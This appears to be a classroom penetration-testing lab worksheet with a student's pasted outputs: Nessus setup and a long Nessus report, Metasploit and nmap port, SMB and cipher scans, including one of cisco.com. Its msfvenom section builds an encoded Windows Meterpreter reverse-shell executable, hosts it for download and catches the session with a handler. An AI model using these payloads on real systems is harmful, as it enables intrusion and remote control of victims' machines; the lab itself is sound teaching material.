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What we do? 

1. Metasploit  
a. Ciphers 
b. MSFVENOM 
2. Use Nessus Tool 
3. Record your reflections 
Disclaimer 

Do not try these in unsupervised environments/ real time environments. Attempting to use certain tools is real time environments or without proper written consents from the owners of the network is punishable offense. All our labs are only for educational purposes and to be practiced under supervised environments.  
 
Takeaway 

 
Maintenance (Manual) is now available to all students of this class to refer, add your experience and share your reflections. DON’T FORGET TO ADD YOUR NAME IN YOUR POST. Each poster will be awarded with for their work. 
Link is shared in our Teams Channel!!! 
Description  
Add Description here!!! 
Recommendations 
You could use any of the following as per your convenience. Highlighted is used here. 
· VirtualBox 
· VMware Workstation Pro  
· VMware Fusion Pro (for Mac),  
· VMware ESXi  
· Microsoft Hyper-V 
What you need? 
· Virtual Machines running Kali Linux (Attacker), Windows 7/ XP/10, Metasploitable 2.0.0 
· Internet access 
 
 
 
 
 
 
The configurations/ ip addressing below listed is based on this topology. Make necessary changes as you work on. 
 

 
 
	Win 7 
	Win XP 
	MS 2.0 
	Kali 

	10.0.2.7 
	 
	 
	10.0.2.15 

	10.0.2.1 
	 
	 
	10.0.2.1 


  
Network Settings: Nat Network; allow all VM’s 
                   
Task 2: Use Nessus 
 
Download Nessus from the Internet/  
Alternatively available in Teams Channel/ Shared Drive 
  
kali@kali:~$ cd Downloads/ kali@kali:~/Downloads$ ls Nessus-8.12.1-debian6_amd64.deb 
  
	kali@kali:~/Downloads$ dpkg -i Nessus-8.12.1-debian6_amd64.deb 

	dpkg: error: requested operation requires superuser privilege 
	


  
kali@kali:~/Downloads$ sudo dpkg -i Nessus-8.12.1-debian6_amd64.deb [sudo] password for kali:  
Selecting previously unselected package nessus. 
(Reading database ... 277856 files and directories currently installed.) Preparing to unpack Nessus-8.12.1-debian6_amd64.deb ... 
Unpacking nessus (8.12.1) ... 
Setting up nessus (8.12.1) ... 
Unpacking Nessus Scanner Core Components... 
  
· You can start Nessus Scanner by typing /bin/systemctl start nessusd.service  - Then go to https://kali:8834/ to configure your scanner 
  
kali@kali:~/Downloads$  /bin/systemctl start nessusd.service 
  
· Then go to  
https://kali:8834/  
  
Create user name "user" and password "password" and update the plugins 
 
Perform a vulnerability scan to the attack machine (our case Windows 7) 
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	Record your Output here: (List the vulnerabilities based on High, Medium and 
	

	the useful information gathered) from Nessus 
 
 Nessus was configured to run a scan  the Windows 7 device and the remainder of the devices on the same vlan. The licensing restriction did prevent scanning the whole vlan however it found a wealth of vulnerabilities on some of the devices.
 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
	


Find out the ports which are open and based on that you could exploit… Alternatively, you could also use port scan. Below is the step by step guide for Port Scan 
 
kali@kali:~/Downloads$ sudo msfconsole 
[sudo] password for kali:  
 
msf6 > search portscan msf6 > use auxiliary/scanner/portscan/syn  msf6 auxiliary(scanner/portscan/syn) > info 
  
 
  
  
msf6 auxiliary(scanner/portscan/syn) > set RHOSTS 10.0.2.7 RHOSTS => 10.0.2.7 msf6 auxiliary(scanner/portscan/syn) > run 
 
 
 
  
	Record your Output here: (TCP Ports which are open) 
	

	 
 
 Windows 10 workstation no firewall Ports 135/139/445  were open
 Configured a Metasploit2 machine on 192.168.0.11 out of the box the ports open were 
 
 
msf6 auxiliary(scanner/portscan/syn) > set RHOST 192.168.0.11
RHOST => 192.168.0.11
msf6 auxiliary(scanner/portscan/syn) > run

[+]  TCP OPEN 192.168.0.11:21
[+]  TCP OPEN 192.168.0.11:22
[+]  TCP OPEN 192.168.0.11:23
[+]  TCP OPEN 192.168.0.11:25
[+]  TCP OPEN 192.168.0.11:53
[+]  TCP OPEN 192.168.0.11:80
[+]  TCP OPEN 192.168.0.11:111
[+]  TCP OPEN 192.168.0.11:139
[+]  TCP OPEN 192.168.0.11:445
[+]  TCP OPEN 192.168.0.11:512
[+]  TCP OPEN 192.168.0.11:513
[+]  TCP OPEN 192.168.0.11:514
[+]  TCP OPEN 192.168.0.11:1099
[+]  TCP OPEN 192.168.0.11:1524
[+]  TCP OPEN 192.168.0.11:2049
[+]  TCP OPEN 192.168.0.11:2121
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/syn) >
 
 
 
 
 
 
 
 
 
 
 
 
 
	


 
 
 
 
 
 
  
 Based on the ports,  
 
kali@kali:~/Downloads$ nmap --script=ssl-enum-ciphers -p 443 10.0.2.7 
 
	 
 
 
 
 
 
 
 
 
 
	Record your Output here: (Status) 
	

	
	] exec: nmap --script=ssl-enum-ciphers -p 443 192.168.0.11

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 15:38 GMT
Nmap scan report for METASPLOITABLE (192.168.0.11)
Host is up (0.00018s latency).

PORT    STATE  SERVICE
443/tcp closed https
MAC Address: 00:0C:29:BB:35:34 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
msf6 auxiliary(scanner/portscan/syn) >
	


 
kali@kali:~/Downloads$ nmap --script=ssl-enum-ciphers -p 2869 10.0.2.7 
 
	Record your Output here: (Status) 
	

	 
 msf6 auxiliary(scanner/portscan/syn) > nmap --script=ssl-enum-ciphers -p 2869 192.168.0.11 [*] exec: nmap --script=ssl-enum-ciphers -p 2869 192.168.0.11

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 15:39 GMT
Nmap scan report for METASPLOITABLE (192.168.0.11)
Host is up (0.00015s latency).

PORT     STATE  SERVICE
2869/tcp closed icslap
MAC Address: 00:0C:29:BB:35:34 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
msf6 auxiliary(scanner/portscan/syn) >
 
 
 
 
 
	


 
  
kali@kali:~/Downloads$ nmap --script=ssl-enum-ciphers -p 80 10.0.2.7 
 
	Record your Output here: (Status) 
	

	 
 msf6 auxiliary(scanner/portscan/syn) > nmap --script=ssl-enum-ciphers -p 80 192.168.0.11
[*] exec: nmap --script=ssl-enum-ciphers -p 80 192.168.0.11

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 15:39 GMT
Nmap scan report for METASPLOITABLE (192.168.0.11)
Host is up (0.00017s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:BB:35:34 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds
msf6 auxiliary(scanner/portscan/syn) >
 
 
 
 
 
	


 
  
kali@kali:~/Downloads$ nmap --script=ssl-enum-ciphers -p 445 10.0.2.7 
 
	Record your Output here: (Status) 
	

	 msf6 auxiliary(scanner/portscan/syn) > nmap --script=ssl-enum-ciphers -p 445 192.168.0.11  [*] exec: nmap --script=ssl-enum-ciphers -p 445 192.168.0.11

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 15:40 GMT
Nmap scan report for METASPLOITABLE (192.168.0.11)
Host is up (0.00016s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:BB:35:34 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds
msf6 auxiliary(scanner/portscan/syn) >
 
 
 
 
 
 
 
	


   
In Kali Linux: Check Ciphers for public domain 
 kali@kali:~$ 
ls /usr/share/nmap/scripts/
 

 
kali@kali:~$ nmap -p 443 --script=ssl-enum-ciphers cisco.com 
 
 
	Record your Output here: (Status) 
	

	 
 
 
 
	


 
 
kali@kali:~$ nmap -p 443 --script=ssl-enum-ciphers abc.com 
 
 
	Record your Output here: (Status) 
	

	 
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 15:42 GMT
Nmap scan report for cisco.com (72.163.4.185)
Host is up (0.12s latency).
Other addresses for cisco.com (not scanned): 2001:420:1101:1::185
rDNS record for 72.163.4.185: redirect-ns.cisco.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.1:
|     ciphers:
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.2:
|     ciphers:
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|     compressors:
|       NULL
|     cipher preference: server
|_  least strength: A

Nmap done: 1 IP address (1 host up) scanned in 9.93 seconds
 
 
 
	


 
 
              
Task 1: Use Metasploit 
 
kali@kali:~/Downloads$ sudo msfconsole                                                    msf6 > search smb 
[sudo] password for kali:  
  
	Record your Output here: (Which SMB’s you found?) 
	

	 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
	


 
  
msf6 > use auxiliary/scanner/smb/smb_version msf6 auxiliary(scanner/smb/smb_version) > options msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.2.7 RHOSTS => 10.0.2.7 msf6 auxiliary(scanner/smb/smb_version) > run 
 
  
 
  
	Record your Output here:  
	

	 msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.31
RHOSTS => 192.168.0.31
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.0.31:445      - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{1aaaa7b1-f41a-4285-838e-813c68f4222b}) (authentication domain:DESKTOP-VV8TIHV)
[*] 192.168.0.31:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >


msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.11
RHOSTS => 192.168.0.11
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.0.11:445      - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 192.168.0.11:445      -   Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.0.11:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >msdvenom
 
 
 
 
 
 
 
	


    
 
In Kali Linux: Create Payloads 
 
root@kali:~# 
msfvenom –h
 
 

 
Create Normal Payload kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.2.15 lport=3333 -f exe -o /home/kali/Desktop/File.exe 
  
 
### 
-p is the payload 
-f is the format 
-o is save/output 
### 
  
Encoded Payload 
  
kali@kali:~$ msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=10.0.2.15 lport=3333 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' > /home/kali/Desktop/Fileenc.exe 
 
### 
-a is the architecture 
-e is the encoder 
-i is iterations 
-b bad characters 
### 
 
 
kali@kali:~$ service apache2 start  
 
kali@kali:~/Desktop$ ls Fileenc.exe  File.exe 
  
kali@kali:~/Desktop$ cp Fileenc.exe File.exe /var/www/html/ 
cp: cannot create regular file '/var/www/html/Fileenc.exe': Permission denied cp: cannot create regular file '/var/www/html/File.exe': Permission denied 
  
kali@kali:~/Desktop$ sudo cp Fileenc.exe File.exe /var/www/html/ [sudo] password for kali:  
  
kali@kali:~/Desktop$ cd /var/www/html/ 
  
kali@kali:/var/www/html$ ls 
Fileenc.exe  File.exe  index.html  index.nginx-debian.html 
 
  
kali@kali:~$ service postgresql start  
 
kali@kali:~$ msfconsole  
 
msf6 > use exploit/multi/handler  msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp 
 
PAYLOAD => windows/meterpreter/reverse_tcp 
 
msf6 exploit(multi/handler) > show options 
  
  
msf6 exploit(multi/handler) > set lport 3333 lport => 3333 
 
msf6 exploit(multi/handler) > set lhost 10.0.2.15 lhost => 10.0.2.15 
  
  
msf6 exploit(multi/handler) > run 
  
[*] Started reverse TCP handler on 10.0.2.15:3333  [*] Sending stage (175174 bytes) to 10.0.2.7 
   
[*] Sending stage (175174 bytes) to 10.0.2.7 
[*] Meterpreter session 7 opened (10.0.2.15:3333 -> 10.0.2.7:49891) at 2020-1105 03:36:54 -0500 
  
 
Go to your Windows (Victim Machine) 
 
Browser  10.0.2.15:3333 
Click on the Payload Exe file and Install 
 
 
meterpreter >  meterpreter > show options [-] Unknown command: show. 
meterpreter > help 
  
Core Commands 
============= 
  
You could now see the Payload executed….. 
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image18.emf
Plugin ID CVE CVSS Risk Host Protocol Port Name Synopsis Description Solution See Also Plugin Output STIG Severity CVSS v3.0 Base Score CVSS Temporal ScoreCVSS v3.0 Temporal ScoreRisk FactorBID XREF MSKB Plugin Publication Date Plugin Modification Date MetasploitCore ImpactCANVAS

10107 None 192.168.0.1 tcp 80HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



sky_router None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 4444HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



apid 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 4567HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



apid 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 8889HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



webd 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10107 None 192.168.0.1 tcp 8890HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of the

  remote web server. n/a

The remote web server type is :



webd 1.0 None IAVT:0001-T-0931 04/01/2000 30/10/2020

10114CVE-1999-0524 0None 192.168.0.1 icmp 0ICMP Timestamp Request Remote Date Disclosure It is possible to determine the exact time set on the remote host.

The remote host answers to an ICMP timestamp request.  This allows 

an

attacker to know the date that is set on the targeted machine, which

may assist an unauthenticated, remote attacker in defeating time-

based

authentication protocols.



Timestamps returned from machines running Windows Vista / 7 / 

2008 /

2008 R2 are deliberately incorrect, but usually within 1000 seconds of

the actual system time.

Filter out the ICMP timestamp requests (13), and the outgoing ICMP

timestamp replies (14).

The difference between the local and remote clocks is -2 seconds.



0 None CWE:200 01/08/1999 04/10/2019

10287 None 192.168.0.1 udp 0Traceroute Information It was possible to obtain traceroute information. Makes a traceroute to the remote host. n/a

For your information, here is the traceroute from 192.168.0.35 to 

192.168.0.1 : 

192.168.0.35

192.168.0.1



Hop Count: 1



None 27/11/1999 20/08/2020

10386 None 192.168.0.1 tcp 8889Web Server No 404 Error Code Check The remote web server does not return 404 error codes.

The remote web server is configured such that it does not return '404

Not Found' error codes when a nonexistent file is requested, perhaps

returning instead a site map, search page or authentication page.



Nessus has enabled some counter measures for this.  However, they

might be insufficient.  If a great number of security holes are

produced for this port, they might not all be accurate. n/a



CGI scanning will be disabled for this host because the host responds

to requests for non-existent URLs with HTTP code 302

rather than 404. The requested URL was : 



    http://SkyRouter.Home:8889/rWar5Bek2ELz.html



None 28/04/2000 12/06/2020

10386 None 192.168.0.1 tcp 8890Web Server No 404 Error Code Check The remote web server does not return 404 error codes.

The remote web server is configured such that it does not return '404

Not Found' error codes when a nonexistent file is requested, perhaps

returning instead a site map, search page or authentication page.



Nessus has enabled some counter measures for this.  However, they

might be insufficient.  If a great number of security holes are

produced for this port, they might not all be accurate. n/a



CGI scanning will be disabled for this host because the host responds

to requests for non-existent URLs with HTTP code 302

rather than 404. The requested URL was : 



    https://SkyRouter.Home:8890/rWar5Bek2ELz.html



None 28/04/2000 12/06/2020

10863 None 192.168.0.1 tcp 4567SSL Certificate Information This plugin displays the SSL certificate.

This plugin connects to every SSL-related port and attempts to 

extract and dump the X.509 certificate. n/a

Subject Name: 



Country: US

Organization: Circle Media Inc

Common Name: localhost



Issuer Name: 



Country: US

Organization: Circle Media Inc

Common Name: localhost



Serial Number: 3C E5 6E 7F 



Version: 3



Signature Algorithm: SHA-256 With RSA Encryption



Not Valid Before: Apr 16 04:44:57 2019 GMT

Not Valid After: Apr 11 04:44:57 2039 GMT



Public Key Info: 



Algorithm: RSA Encryption

Key Length: 2048 bits

Public Key: 00 C4 0A 0D EE 51 19 DB 69 E6 FC 2A DB A6 1E A7 7C 5A 56 

35 

            62 0D 7C 97 D3 87 38 FF 46 12 A8 25 FA BE 2C B1 8A D7 4D 81 

            97 1F 2E 1F AD 7B 50 AF CC 2A 50 9B 57 F3 BF 54 7B DE 1B 4B  None 19/05/2008 26/10/2020

10863 None 192.168.0.1 tcp 8890SSL Certificate Information This plugin displays the SSL certificate.

This plugin connects to every SSL-related port and attempts to 

extract and dump the X.509 certificate. n/a

Subject Name: 



Country: US

Organization: Circle Media Inc.

Common Name: Circle002



Issuer Name: 



Country: US

Organization: Circle Media Inc

Common Name: Circle Root CA 1



Serial Number: 02 



Version: 3



Signature Algorithm: SHA-256 With RSA Encryption



Not Valid Before: Sep 08 21:42:16 2016 GMT

Not Valid After: Sep 03 21:42:16 2036 GMT



Public Key Info: 



Algorithm: RSA Encryption

Key Length: 2048 bits

Public Key: 00 BB 38 F5 78 02 3B CF 53 A2 55 69 8A DC F3 91 B9 72 09 

E1 

            E1 91 C0 66 9F 3A 0A CF 66 24 87 33 E3 4A 20 D1 3F A5 BA 05 

            B3 30 61 CF 14 40 60 84 B4 E9 E2 6E 3E B3 69 BA CB 47 E8 8B  None 19/05/2008 26/10/2020

11002 None 192.168.0.1 tcp 53DNS Server Detection A DNS server is listening on the remote host.

The remote service is a Domain Name System (DNS) server, which

provides a mapping between hostnames and IP addresses.

Disable this service if it is not needed or restrict access to

internal hosts only if the service is available externally. https://en.wikipedia.org/wiki/Domain_Name_System None 13/02/2003 16/05/2017

11002 None 192.168.0.1 udp 53DNS Server Detection A DNS server is listening on the remote host.

The remote service is a Domain Name System (DNS) server, which

provides a mapping between hostnames and IP addresses.

Disable this service if it is not needed or restrict access to

internal hosts only if the service is available externally. https://en.wikipedia.org/wiki/Domain_Name_System None 13/02/2003 16/05/2017

11026 None 192.168.0.1 tcp 0Wireless Access Point Detection The remote host is a wireless access point.

Nessus has determined that the remote host is a wireless access point

(AP).



Ensure that proper physical and logical controls are in place for its

use. A misconfigured access point may allow an attacker to gain access

to an internal network without being physically present on the

premises. If the access point is using an 'off-the-shelf'

configuration (such as 40 or 104 bit WEP encryption), the data being

passed through the access point may be vulnerable to hijacking or

sniffing. n/a



Nessus has determined that this device is an access point based on a

phrase found on the server's default web page. That is, Nessus

maintains a list of commonly-used technical phrases which can be

associated with wireless technologies. When Nessus encounters these

phrases during a scan, a determination is made regarding the nature of

the device. In this case, Nessus has determined that the device may

be running a wireless device with an administrative interface enabled. 

This is a very common configuration for Access Points. The exact

phrases which Nessus flagged on were :



  - Wireless

  - Access Point

  - WPA

  - SSID



None 09/06/2002 12/06/2020

11153 None 192.168.0.1 tcp 4545Service Detection (HELP Request) The remote service could be identified.

It was possible to identify the remote service by its banner or by

looking at the error message it sends when it receives a 'HELP'

request. n/a AIX Global ODM (a component from HACMP) is running on this port. None 18/11/2002 26/11/2018

11197CVE-2003-0001 3.3Low 192.168.0.1 icmp 0Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak) The remote host appears to leak memory in network packets.

The remote host uses a network device driver that pads ethernet 

frames

with data which vary from one packet to another, likely taken from

kernel memory, system memory allocated to the device driver, or a

hardware buffer on its network interface card.



Known as 'Etherleak', this information disclosure vulnerability may

allow an attacker to collect sensitive information from the affected

host provided he is on the same physical subnet as that host. Contact the network device driver's vendor for a fix. http://www.nessus.org/u?719c90b4



Padding observed in one frame :



  0x00:  47 ED 1C CF 98 03 56 CA 5F 03 56 DA B7 00 00 0A    G.....V._.V.....

  0x10:  17                                                 .               

  

Padding observed in another frame :



  0x00:  30 14 01 00 00 0F AC 04 01 00 00 0F AC 04 01 00    0...............

  0x10:  00                                                 .



2.6 Low 6535 14/01/2003 06/03/2019

11219 None 192.168.0.1 tcp 53Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 53/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 80Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 80/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 4444Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 4444/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 4545Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 4545/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 4567Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 4567/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 5300Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 5300/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 5431Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 5431/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 8889Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 8889/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 8890Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 8890/tcp was found to be open None 04/02/2009 14/09/2020

11219 None 192.168.0.1 tcp 31337Nessus SYN scanner It is possible to determine which TCP ports are open.

This plugin is a SYN 'half-open' port scanner.  It shall be reasonably

quick even against a firewalled target. 



Note that SYN scans are less intrusive than TCP (full connect) scans

against broken services, but they might cause problems for less robust

firewalls and also leave unclosed connections on the remote target, if

the network is loaded. Protect your target with an IP filter. Port 31337/tcp was found to be open None 04/02/2009 14/09/2020

11936 None 192.168.0.1 tcp 0OS Identification It is possible to guess the remote operating system.

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,

SNMP, etc.), it is possible to guess the name of the remote operating

system in use. It is also possible sometimes to guess the version of

the operating system. n/a



Remote operating system : Sky Hub SR102 1.0

Confidence level : 80

Method : UPnP



 

The remote host is running Sky Hub SR102 1.0 None 09/12/2003 09/03/2020

12053 None 192.168.0.1 tcp 0Host Fully Qualified Domain Name (FQDN) Resolution It was possible to resolve the name of the remote host.

Nessus was able to resolve the fully qualified domain name (FQDN) of

the remote host. n/a



192.168.0.1 resolves as SkyRouter.Home.



None 11/02/2004 14/04/2017

93650CVE-2016-7406 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

19506 None 192.168.0.1 tcp 0Nessus Scan Information This plugin displays information about the Nessus scan.

This plugin displays, for each tested host, information about the

scan itself :



  - The version of the plugin set.

  - The type of scanner (Nessus or Nessus Home).

  - The version of the Nessus Engine.

  - The port scanner(s) used.

  - The port range scanned.

  - Whether credentialed or third-party patch management

    checks are possible.

  - Whether the display of superseded patches is enabled

  - The date of the scan.

  - The duration of the scan.

  - The number of hosts scanned in parallel.

  - The number of checks done in parallel. n/a

Information about this scan : 



Nessus version : 8.12.1

Plugin feed version : 202011051454

Scanner edition used : Nessus Home

Scan type : Normal

Scan policy used : Basic Network Scan

Scanner IP : 192.168.0.35

Port scanner(s) : nessus_syn_scanner 

Port range : default

Thorough tests : no

Experimental tests : no

Paranoia level : 1

Report verbosity : 1

Safe checks : yes

Optimize the test : yes

Credentialed checks : no

Patch management checks : None

Display superseded patches : yes (supersedence plugin launched)

CGI scanning : disabled

Web application tests : disabled

Max hosts : 30

Max checks : 4

Recv timeout : 5

Backports : None

Allow post-scan editing: Yes

Scan Start Date : 2020/11/5 13:08 EST

Scan duration : 1452 sec



None 26/08/2005 27/08/2020

21643 None 192.168.0.1 tcp 4567SSL Cipher Suites Supported The remote service encrypts communications using SSL.

This plugin detects which SSL ciphers are supported by the remote

service for encrypting communications. n/a

https://w

ww.opens

sl.org/doc

s/man1.1.

0/apps/cip

hers.html

http://ww

w.nessus.o

rg/u?3a04

0ada



Here is the list of SSL ciphers supported by the remote server :

Each group is reported per SSL Version.



SSL Version : TLSv12

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)



    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-

CBC(168)          SHA1



  High Strength Ciphers (>= 112-bit key)



    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-

GCM(128)           SHA256

    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-

GCM(256)           SHA384

    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-

CBC(128)           SHA1

    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-

CBC(256)           SHA1

    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-

CBC(128)      SHA1

    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia- None 05/06/2006 09/07/2020

